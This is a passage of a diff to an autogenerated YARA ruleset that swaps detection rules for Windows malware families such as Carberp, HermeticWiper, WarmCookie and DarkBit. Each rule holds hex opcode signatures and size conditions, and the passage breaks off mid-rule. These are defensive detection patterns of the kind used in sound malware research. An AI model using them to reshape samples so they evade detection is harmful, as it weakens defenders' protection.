"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_adspace_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermes_auto.yar#L1-L110" license_url = "N/A" - logic_hash = "a92489c81a6d8e641c169a9deed543e2e8352f876cddeafa8d67d22e27f031a4" + logic_hash = "ec38569492fc62621d2bfb5ebe2db77f57521b3e9d7ddcf1c5d737c6a9cf9c68" score = 75 quality = 75 tags = "FILE" @@ -139768,32 +139498,32 @@ rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 8d7c241d c744241400010000 f3ab } - $sequence_1 = { e8???????? 8b4c2420 2bc7 03c1 50 89442424 } - $sequence_2 = { e8???????? 8365fc00 57 56 8d4dec } - $sequence_3 = { 50 ff15???????? ff742410 e8???????? 56 e8???????? 55 } - $sequence_4 = { 50 89442438 e8???????? ff742438 ff15???????? 69c060ea0000 83c42c } - $sequence_5 = { 85c0 7408 c744241001000000 bf???????? } - $sequence_6 = { 83c40c 8bf8 8d45fc 50 a1???????? 40 50 } - $sequence_7 = { b8???????? e8???????? 81ec08010000 53 56 8b1d???????? 57 } - $sequence_8 = { ffd6 b8???????? 5e 5b c9 } - $sequence_9 = { 83c418 8d85ecfeffff 68???????? 50 ff15???????? 85c0 a3???????? } + $sequence_0 = { 33d2 6a79 59 f7f1 } + $sequence_1 = { 6a01 6810660000 ff75fc ff15???????? } + $sequence_2 = { 50 8b4508 83c801 50 } + $sequence_3 = { 83c801 50 6a01 ff75fc } + $sequence_4 = { 7508 6a01 ff15???????? 8be5 5d c3 } + $sequence_5 = { 7508 6a01 ff15???????? 8be5 5d } + $sequence_6 = { 6a04 6800100000 6888130000 6a00 ff15???????? } + $sequence_7 = { 83c801 50 6a01 ff75fc ff15???????? } + $sequence_8 = { 50 6a01 6810660000 ff75fc ff15???????? } + $sequence_9 = { 7508 6a01 ff15???????? 8d45fc } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 7192576 } -rule MALPEDIA_Win_Cloudwizard_Auto : FILE +rule MALPEDIA_Win_Bundestrojaner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "abbdc257-eb7b-5dbc-b89d-fa521addbb7b" + id = "47ea5615-8136-5cb4-9bef-7286571c39f9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudwizard_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bundestrojaner_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "73a241c1b717ddfac0eb8392f69e9bf260621defdb3bc053842ea74bc39dad65" + logic_hash = "fd1e7fa09fb34d70736eb8553b933219d912c7ea6e3c9d3818f4d8762292bdc7" score = 75 quality = 75 tags = "FILE" @@ -139807,34 +139537,34 @@ rule MALPEDIA_Win_Cloudwizard_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4802 668b38 40 40 6685ff } - $sequence_1 = { d1f8 51 8d844618060000 50 e8???????? bf???????? 8bc7 } - $sequence_2 = { 57 50 e8???????? 8d4570 83c40c } - $sequence_3 = { 8bc6 8975ec e8???????? ff750c 8b06 ff7508 8bce } - $sequence_4 = { 6a5a 58 6a5d 66894544 } - $sequence_5 = { 58 6a44 668945a8 58 6a1b } - $sequence_6 = { 8986fc010000 897e70 c686c800000043 c6864b01000043 c7466838d54000 } - $sequence_7 = { 58 6a49 668945e4 58 668945e6 6a5d 58 } - $sequence_8 = { c645cf4a c645d044 c645d14d c645d27f 885dd3 8d45bc 59 } - $sequence_9 = { 8bce ff5010 6a04 33d2 59 } + $sequence_0 = { 85c0 7e15 8bc5 2bdd d90403 d800 41 } + $sequence_1 = { 3bca 7e5a 8b4e10 85c9 7443 c1f803 8d542801 } + $sequence_2 = { 33d5 89a8c4000000 33f2 89542418 8990c8000000 8bd6 } + $sequence_3 = { 895610 89560c 895614 7415 8b44240c 3bc2 740d } + $sequence_4 = { 8b7e1b 8ac8 80e902 f6d9 1bc9 2c02 83e102 } + $sequence_5 = { 740f 6a00 6a00 6a27 8bc8 e8???????? eb02 } + $sequence_6 = { 8b44243c c68424c800000002 8b4830 51 8bce e8???????? } + $sequence_7 = { 8bcf 8b442418 8d1476 896c2460 f7d9 8bac2430010000 83e103 } + $sequence_8 = { 50 8986b4000000 e8???????? 83c420 b802000000 89bec0000000 89bec4000000 } + $sequence_9 = { 50 e8???????? 8b4c2410 8b542408 51 50 } condition: - 7 of them and filesize < 134144 + 7 of them and filesize < 729088 } -rule MALPEDIA_Win_Warmcookie_Auto : FILE +rule MALPEDIA_Win_Mbrlock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0026322f-2256-5880-b6f0-ee27db7c6e54" + id = "278f7834-90b2-5397-9ece-a797760d8d62" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warmcookie" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warmcookie_auto.yar#L1-L234" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mbrlock_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "f9b50e12d5d001e33fbadd9cf4f5cbc2e73544c65bdcaaf5cab4e22fb22bdceb" + logic_hash = "f922ef8df18c5fa1824f3d97da8882716cabf76bff393f438d1827b2c64b4a0e" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -139846,47 +139576,32 @@ rule MALPEDIA_Win_Warmcookie_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41b900000000 41b807000000 ba00000080 4889c1 } - $sequence_1 = { 48c744243800000000 c744243000000000 c744242803000000 48c744242000000000 41b900000000 } - $sequence_2 = { 41be01000000 4d85d2 0f8489010000 418b02 85c0 0f88c0060000 8d0480 } - $sequence_3 = { 4183fe03 0f87ff050000 4585f6 0f850a020000 41be01000000 4d85d2 } - $sequence_4 = { 41b902000000 41b800000000 ba00000000 4889c1 } - $sequence_5 = { 48896c2470 8944242c 48b8fffffffffdffffff 4889842480000000 31c0 6689842488000000 } - $sequence_6 = { 448b44244c 4989c4 4181f80080ffff 7470 } - $sequence_7 = { 4883c468 5b 415c c3 55 } - $sequence_8 = { 4181f80080ffff 7470 8b4c2448 4889c2 4989d9 e8???????? } - $sequence_9 = { 8b530c 85d2 0f8e1bffffff 01d0 89430c e9???????? 4157 } - $sequence_10 = { 4883ec28 e8???????? 3dff2f0000 0f97c0 } - $sequence_11 = { ba19000000 488b4c2438 ff15???????? 85c0 } - $sequence_12 = { ba18000000 4889c1 ffd3 85c0 } - $sequence_13 = { 85c0 7409 488b442428 48c1e814 } - $sequence_14 = { 488b01 ff9080000000 85c0 7815 } - $sequence_15 = { ff15???????? 25ff0f0000 8d88b80b0000 ff15???????? } - $sequence_16 = { 488b01 ff5010 ff15???????? 89f0 4883c458 } - $sequence_17 = { 8d8800040000 e8???????? 4889c3 4885c0 } - $sequence_18 = { 0fb6d1 488b0b ff15???????? 8b38 488bcb e8???????? 488b4c2448 } - $sequence_19 = { 85c0 7432 488d0c7d02000000 e8???????? 488bd8 4885c0 } - $sequence_20 = { 48ffc7 66393478 75f7 4885ff 740d 488d4c2420 } - $sequence_21 = { 440fb64101 410fb6540902 410fb6440802 4188440902 4188540802 0fb601 } - $sequence_22 = { 488bce e8???????? 488b7c2468 8bc3 } - $sequence_23 = { 4c8bc6 6683f822 744f 48ffc1 664289440420 } - $sequence_24 = { 488d542470 b901010000 ff15???????? 85c0 } + $sequence_0 = { 663d0500 7445 668bce 668bd0 66c1e90a 66c1ea0a } + $sequence_1 = { 8965f0 8b4708 8975ec 85c0 c745fc00000000 7422 50 } + $sequence_2 = { e8???????? 8d4d8c c745fcffffffff e8???????? b801000000 8b4df4 64890d00000000 } + $sequence_3 = { 6685d2 740c 33c9 663bf0 0f94c1 } + $sequence_4 = { 85f6 7407 8d4608 85c0 7517 8d442410 } + $sequence_5 = { 6a00 52 57 50 ff5624 8bf8 85ff } + $sequence_6 = { 83c410 8b45ec 8d4e24 50 53 } + $sequence_7 = { c744242044764a00 8d4c2420 6a01 8d542444 51 52 8bce } + $sequence_8 = { 5b 0f94c0 81c480010000 c3 5f 5e 33c0 } + $sequence_9 = { 7409 53 e8???????? 83c404 68010100a0 6a00 } condition: - 7 of them and filesize < 331776 + 7 of them and filesize < 2031616 } -rule MALPEDIA_Win_Carberp_Auto : FILE +rule MALPEDIA_Win_Hermeticwiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6dabcbc-eb1a-5db4-81e2-886d378b4be1" + id = "26ab54c0-79a4-58b9-ba8b-0324b07af9f4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carberp_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermeticwiper_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "86e4e7a3a500c58000a297ef120e6eaa02ce211014fb7c016ba6df2b3118cc01" + logic_hash = "0d202d4a6b1fd92490b3e5fc04dc1683d573bc3458e17749b676604435662c74" score = 75 quality = 75 tags = "FILE" @@ -139900,34 +139615,34 @@ rule MALPEDIA_Win_Carberp_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff750c 33db ff35???????? e8???????? 8bf0 59 59 } - $sequence_1 = { 7416 80f92f 7411 80f93d 740c 3bc6 7e04 } - $sequence_2 = { 7415 3bcb 7611 83fa1f 730c 884415d4 42 } - $sequence_3 = { 8d0409 83f80a 89442410 7e08 c74424100a000000 3b6c243c 0f8cf5fdffff } - $sequence_4 = { ff7514 e8???????? 8bf0 59 85f6 7416 ff7514 } - $sequence_5 = { 68???????? 50 68???????? 6a03 e8???????? 83c410 8906 } - $sequence_6 = { e8???????? 59 5e c3 6a00 56 e8???????? } - $sequence_7 = { ff731c 6a09 680b110000 ff35???????? e8???????? 83c410 85c0 } - $sequence_8 = { ff742410 ff742410 ff742410 ff742410 ffd0 c3 56 } - $sequence_9 = { 817e0402020000 0f85c1000000 6af4 ff36 e8???????? 59 59 } + $sequence_0 = { 83d1ff 894dbc 03ff 83cf01 ebe7 8b75d4 } + $sequence_1 = { 68???????? eb2f ff15???????? 3d7e040000 0f8522040000 837df800 } + $sequence_2 = { 0f86fe000000 8b55d0 8d4630 8945f8 6690 8b00 85c0 } + $sequence_3 = { 53 51 51 52 b980000000 e8???????? 8b4c2428 } + $sequence_4 = { 8845fb 84e4 0f856dfeffff 5f 5e 5b 8be5 } + $sequence_5 = { 8b4e10 8b7e08 03cf 8b560c 8b4614 13c2 89542418 } + $sequence_6 = { 83ee02 eb02 8bf3 397df0 7531 6a5c 6a00 } + $sequence_7 = { 8b401c 83c118 03c1 8b4c2414 89442424 3bf0 736e } + $sequence_8 = { 57 56 ff15???????? 85c0 752a ff15???????? 33ff } + $sequence_9 = { 5e b801000000 5b 8be5 5d c20c00 8b7510 } condition: - 7 of them and filesize < 491520 + 7 of them and filesize < 247808 } -rule MALPEDIA_Win_Spedear_Auto : FILE +rule MALPEDIA_Win_Darkbit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1d005a15-ef8d-569f-a767-c6e1e72829d4" + id = "376307d8-f183-5168-b430-3c79d528468e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spedear_auto.yar#L1-L271" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkbit_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fdde63af58dfc9054af7189054546d8fc5a45deaed146cfe4323b2ae3cb67aa8" + logic_hash = "3345b8391d558255e8d42c00573b9e9bb419b0424b0535da1de4bc7f3c804298" score = 75 - quality = 71 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -139939,50 +139654,32 @@ rule MALPEDIA_Win_Spedear_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e207 03c2 c1f803 83c40c 85c0 } - $sequence_1 = { 53 50 e8???????? 8b7e0c 895e10 } - $sequence_2 = { 8b4718 8a5f06 50 894608 e8???????? } - $sequence_3 = { 6a00 6a00 57 8bd8 ffd6 6a00 8d442414 } - $sequence_4 = { 894618 ffd7 89461c 5f } - $sequence_5 = { e8???????? 83c404 3bc5 740a c700???????? 8bd8 eb02 } - $sequence_6 = { 8906 8b44241c 5e 33d1 5d } - $sequence_7 = { 8b4604 8b571c 83c410 83c120 53 e8???????? 3bdd } - $sequence_8 = { 85c0 7536 85f6 742c 833e00 741e 8b5608 } - $sequence_9 = { 6a00 68???????? e8???????? 83c40c 68d0070000 } - $sequence_10 = { 741a 6a00 6a00 ff7608 ff5604 6800800000 6a00 } - $sequence_11 = { 394878 7456 39487c 7451 } - $sequence_12 = { 8bc7 5e 5f 5b 5d c3 6a08 } - $sequence_13 = { 83450c04 33c7 ff4d08 8b7dfc } - $sequence_14 = { c745fc12000000 33ff 895d08 8b5d0c 0fb61c19 c1e708 } - $sequence_15 = { 4c8bda 418b10 498d6b44 498bd9 498bf8 } - $sequence_16 = { 8b4610 3998a0000000 760f 3998a4000000 7607 57 56 } - $sequence_17 = { 3b0d???????? 7329 4863d1 488d0dd0ab0000 } - $sequence_18 = { ff15???????? 4c8d5c2440 488d1571020100 492bd3 410fb60b 410fb60413 } - $sequence_19 = { c744243004010000 e8???????? 488b4c2438 4c8d5c2430 488d842450010000 488d15f0bd0000 4c895c2428 } - $sequence_20 = { 8d6a12 41be04000000 4d2be3 0f1f00 448bc2 } - $sequence_21 = { 68???????? 8d45f0 50 c745f0f0d12300 e8???????? } - $sequence_22 = { 488bcb e8???????? 85ff 7e33 } - $sequence_23 = { 8b4310 33c9 56 57 394878 } - $sequence_24 = { 895f10 488b4f18 4885c9 740c e8???????? } - $sequence_25 = { 3bf2 7cc1 034004 8b4804 } - $sequence_26 = { 4883c308 483bdf 72ed 48833d????????00 741f 488d0dc6ef0000 e8???????? } - $sequence_27 = { 85c0 752c ff7508 68???????? } + $sequence_0 = { e8???????? 488b8c2480050000 48894808 833d????????00 7515 488b8c24b0210000 488908 } + $sequence_1 = { 488d0505c50f00 4889d9 4889fb 4889f7 4c89c6 e8???????? 488b542450 } + $sequence_2 = { eb1a 440fb64c341e 418d1411 8d5293 88543c1e 448844341e 4883c002 } + $sequence_3 = { 4c8d4301 4c39c6 7331 488d05052b1700 4889d9 4889fb 4889f7 } + $sequence_4 = { eb1c 4889c7 488b8c24d0200000 e8???????? 488d3d4f2a2200 e8???????? 6690 } + $sequence_5 = { e8???????? 4889842460100000 48899c2400010000 488b842480000000 48c7c3ffffffff e8???????? 48899c2480140000 } + $sequence_6 = { e8???????? 488d0546a23800 bb26000000 e8???????? 90 4889442408 48895c2410 } + $sequence_7 = { e8???????? 48898424581c0000 48895c2428 488b0d???????? 48898c24980e0000 488d0547db0700 e8???????? } + $sequence_8 = { 488b8c24a8060000 48894808 833d????????00 7514 488b8c24d8220000 488908 488905???????? } + $sequence_9 = { 4d89d3 49c1ea2a 4983fa40 0f83d6060000 4c8d25576e5200 4f8b14d4 418402 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 11612160 } -rule MALPEDIA_Win_Zardoor_Auto : FILE +rule MALPEDIA_Win_Misha_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "50308ee9-1428-5d6c-b40d-321fe9c765a2" + id = "7ba08020-4181-5ded-9bc0-49b98b3d2547" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zardoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zardoor_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.misha_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "491b0a08b4b203499d0503a262d51ee8a6400f1ce6bac152bdcd0f18d092424e" + logic_hash = "55176526d6c66aba41e971557ded1fe9cdb654b2ecbb0584caf24e3a0c3f703a" score = 75 quality = 75 tags = "FILE" @@ -139996,32 +139693,32 @@ rule MALPEDIA_Win_Zardoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740d c7442428ac070000 e9???????? f687d005000080 8b442468 410f44c1 81fa03030000 } - $sequence_1 = { f6c210 752c eb0a f6c220 7405 4584c0 7920 } - $sequence_2 = { e8???????? 4889442448 4885c0 0f85c9000000 c74424201d010000 4c8d0d264f0b00 8d5566 } - $sequence_3 = { ffc3 895c2430 e8???????? 3bd8 0f8c2cfeffff b801000000 488b9c2488000000 } - $sequence_4 = { 488d1572b10900 488bcd e8???????? 85c0 0f8e29020000 488b13 4885d2 } - $sequence_5 = { e8???????? 4883c9ff 660f1f440000 48ffc1 803c0800 75f7 83c10d } - $sequence_6 = { e8???????? 488906 4885c0 0f85ab000000 83c8ff 488b742458 488b5c2460 } - $sequence_7 = { e8???????? 4885c0 8bde 0f95c3 e8???????? 85db 488b9c2440010000 } - $sequence_8 = { 8bc3 448bcb 488bf9 448bc3 488bcb 4883f838 7317 } - $sequence_9 = { e8???????? 85c0 0f84d1000000 4d8b8d90000000 488bd3 4c8b442440 488bcb } + $sequence_0 = { 0d19000200 50 8b4318 0508010000 50 } + $sequence_1 = { 6a08 59 8bc3 c1e310 0bc3 6a18 8bfa } + $sequence_2 = { ff75c8 8b4314 83c070 50 8b8578ffffff 48 48 } + $sequence_3 = { 50 8b4314 05d8000000 50 ff75ec 8b7308 } + $sequence_4 = { 50 8b4318 0508020000 50 ff730c e8???????? } + $sequence_5 = { 8945e8 8b4510 8b00 8945e4 8d45fc } + $sequence_6 = { c78550feffff18181818 c78554feffff18181818 c78558feffff18181819 c7855cfeffff19191919 c78560feffff19191919 c78564feffff19191919 c78568feffff19191919 } + $sequence_7 = { 6a00 e8???????? 83c40c 8b45f4 8a4d0c 884818 8b45f4 } + $sequence_8 = { 8d85f8f9ffff 50 8d85e0f9ffff e8???????? 83c40c 0fb6c0 } + $sequence_9 = { 8d8568ffffff 50 6a01 6a02 8b4314 83c008 50 } condition: - 7 of them and filesize < 4376576 + 7 of them and filesize < 710656 } -rule MALPEDIA_Win_Chthonic_Auto : FILE +rule MALPEDIA_Win_Mechanical_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9308f91d-3793-554b-b1d0-64ba8302fadb" + id = "f673020e-2414-508c-b896-8bd1153a2a5f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chthonic_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mechanical_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "4dc2485521a827af3e062f4f45b00520b596cc6d1b868ae843ff411ddfc73052" + logic_hash = "bdb95de618c80d698fcb0c6f336b0430b26a5d0b33d6a5403bc772ebe314b16e" score = 75 quality = 75 tags = "FILE" @@ -140035,32 +139732,38 @@ rule MALPEDIA_Win_Chthonic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bcf d3ee 83e601 eb00 8b4df8 } - $sequence_1 = { 0f850d010000 8b4df0 eb00 894df8 } - $sequence_2 = { 8a08 32ca 80e17f 8808 b001 c3 8b442404 } - $sequence_3 = { 74cf 8345fc02 b9000d0000 3b4df8 1bc9 f7d9 014dfc } - $sequence_4 = { 894df0 e9???????? 8b4514 8b4df4 8908 33c0 3b550c } - $sequence_5 = { 5f c1ee1f e9???????? 8b041a 6a1f 8bf0 } - $sequence_6 = { 80e17f 8808 b001 c3 8b442404 } - $sequence_7 = { e9???????? 8b041a 6a1f 8bf0 83c204 5f } - $sequence_8 = { 7cf4 33f6 33d2 8bc6 f77514 8b4510 8d8cb5fcfbffff } - $sequence_9 = { 3b550c 5f 5e 0f94c0 5b c9 c3 } + $sequence_0 = { 03c7 3bca 72ed 5f } + $sequence_1 = { 4883c201 4983e901 0f855dfeffff 488d9424000a0000 } + $sequence_2 = { 030495c0e54200 eb05 b8???????? f6400420 } + $sequence_3 = { 4883ec28 488d15056a0200 e8???????? 4885c0 } + $sequence_4 = { 0f84e4e30000 488b8500730200 488d8c2410600000 33d2 488901 8b8508730200 41b8f5000000 } + $sequence_5 = { 0401 3cbe 8844240b 76e2 } + $sequence_6 = { 033485c0e54200 8b45e4 8b00 8906 } + $sequence_7 = { 03ce c6840c3801000000 8d8424a05c0000 33f6 } + $sequence_8 = { 488bf3 48c1fe05 4c8d2547e50000 408afb 83e71f 48c1e706 } + $sequence_9 = { 00686c 42 0023 d18a0688078a } + $sequence_10 = { 03c1 1bc9 0bc1 59 e9???????? e8???????? ff742404 } + $sequence_11 = { 4585c0 0f84b6010000 488d9424f05d0000 458bc8 66666690 66666690 0fb602 } + $sequence_12 = { 033485c0e54200 c745e401000000 33db 395e08 } + $sequence_13 = { 0fb785107a0200 66894108 0fb685127a0200 88410a 488d8c248b010000 } + $sequence_14 = { 33d2 41b803010000 4488a42460430000 488905???????? e8???????? 4c8d1de50a0200 498bcc } + $sequence_15 = { 4489642430 4488a424100b0000 e8???????? 4c8d1dfcd60100 } condition: - 7 of them and filesize < 425984 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Sasfis_Auto : FILE +rule MALPEDIA_Win_Lightlesscan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "faa37fe5-b8ae-5b3d-8761-9ca44fa700a7" + id = "b826b58a-58c7-58d3-8203-4697848cdc57" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sasfis_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightlesscan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightlesscan_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "cf32d2a1a7d6bbcae913d88ae0d2c6c9327ff9b8dad43d2e492ba8c00cbedd6a" + logic_hash = "5d3e853bb474af272be8c5d451244aad6d1bade1283c3318141a0ba65106022e" score = 75 quality = 75 tags = "FILE" @@ -140074,32 +139777,32 @@ rule MALPEDIA_Win_Sasfis_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 241c 2c05 006188 c526 3503007ca3 ef 2b30 } - $sequence_1 = { 0bb2ea7632d3 728b 896b90 35d0797819 d581 } - $sequence_2 = { 880c24 8d642450 e9???????? 60 } - $sequence_3 = { 8f44241c f9 66ffc7 0fbdfa 80fe07 87742418 660fbafe06 } - $sequence_4 = { 036e20 43 7465 47 } - $sequence_5 = { 2030 51 090a 4d 1321 } - $sequence_6 = { 66893c24 89442434 9c 660fbef8 9c 89542438 68d58c61ca } - $sequence_7 = { 660fbec2 660fb6c0 8b4500 e8???????? 661584f0 fec0 27 } - $sequence_8 = { 7aae 2931 55 3cf4 b729 0300 47 } - $sequence_9 = { 9c 8f442440 8d3cfd9c379c8f 66ffcf } + $sequence_0 = { 83fb02 0f8539020000 33c0 4585ed 0f84bb010000 448b442464 488945b0 } + $sequence_1 = { 4885db 745a 488d0dda770400 e8???????? 4c8d4c2450 458bc4 488bd6 } + $sequence_2 = { 4c8d4c2478 4533c0 418d5001 488b4d28 ffd0 } + $sequence_3 = { 8b442434 eb8c 85c0 0f858c060000 33db 4d8be7 8bfb } + $sequence_4 = { e8???????? 488d4c2454 4c89642428 48894c2420 488b4c2458 4533c9 4533c0 } + $sequence_5 = { b904010000 498bc3 66443938 740b 4883c002 48ffc9 75f1 } + $sequence_6 = { 4883c9ff 48897c2430 33c0 488bfb 488bd6 f2ae 48f7d1 } + $sequence_7 = { e8???????? 488bcb ffd0 488b0d???????? 488b1d???????? c60107 40382b } + $sequence_8 = { 4c8d8de0030000 4c8d05306f0500 440fb7d8 488d8dd0010000 ba04010000 44895c2420 e8???????? } + $sequence_9 = { 498be3 415c 5f 5d c3 48895c2418 48896c2420 } condition: - 7 of them and filesize < 8060928 + 7 of them and filesize < 1399808 } -rule MALPEDIA_Win_Acridrain_Auto : FILE +rule MALPEDIA_Win_Mydogs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ef433885-2f79-5863-bbed-81d7d31ae677" + id = "4b817b5f-5d7c-595b-8c97-271eb59c1e4c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acridrain_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mydogs_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "be1111fbfc299034daf1631180c40c75225491471e67ad1cf19bc33316287e9b" + logic_hash = "fb82bf24d6c6bbbb3b47474367cfbe1a36e1fd31146eb3759ae00c840dc8a44d" score = 75 quality = 75 tags = "FILE" @@ -140113,32 +139816,32 @@ rule MALPEDIA_Win_Acridrain_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff8ea0000000 8bf8 897df0 83ff64 741e 83bb8400000000 7c15 } - $sequence_1 = { ff7048 e8???????? 83c404 85f6 0f85c4000000 8b4dec 8bc7 } - $sequence_2 = { f6401604 57 8b7a38 7414 8b45f0 51 03c7 } - $sequence_3 = { f20f5945d4 f20f5905???????? e9???????? 81fe56010000 7c2a 8bcf e8???????? } - $sequence_4 = { e8???????? 33c9 0fb6db 83c408 84c0 0f45d9 895c2414 } - $sequence_5 = { 8b4e08 3bcb 740d 40 83c654 3bc2 72f1 } - $sequence_6 = { ff7548 68???????? 55 e8???????? 83c40c 85c0 0f85b8010000 } - $sequence_7 = { 8b7d08 8b472c 85c0 0f84a6000000 53 8b5d0c 56 } - $sequence_8 = { ff75f4 ff750c 57 e8???????? 83c418 85c0 0f84b3feffff } - $sequence_9 = { e8???????? ff75cc 57 53 e8???????? 8b55b8 52 } + $sequence_0 = { 88040a 8d4901 84c0 75f4 6808020000 e8???????? } + $sequence_1 = { 2bca 51 8d85e8fcffff 50 6a01 6a00 53 } + $sequence_2 = { 50 8b8544f8ffff 33c9 038d48f8ffff 83d000 50 0fb78582f9ffff } + $sequence_3 = { 83fe20 750f 57 6a01 6a01 68???????? e9???????? } + $sequence_4 = { 61 9d a1???????? f30f7e05???????? } + $sequence_5 = { 33d2 8945d8 b901000000 8930 } + $sequence_6 = { e8???????? 0fb64608 88450b 6a01 8d450b 50 8bcf } + $sequence_7 = { 6860ea0000 ff15???????? 68???????? 6a00 68???????? 68???????? } + $sequence_8 = { 69c005840808 40 894704 898560fbffff c1e818 33c6 25ff000000 } + $sequence_9 = { c785f0eeffff00000000 e8???????? 8bf8 83c408 85ff } condition: - 7 of them and filesize < 2244608 + 7 of them and filesize < 313344 } -rule MALPEDIA_Win_Nightclub_Auto : FILE +rule MALPEDIA_Win_Stowaway_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "25a4cb0b-5988-50b4-b9d7-c4130dae5827" + id = "fff7cfff-aed4-5ea2-8664-de07b4f99127" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub" - source_url = 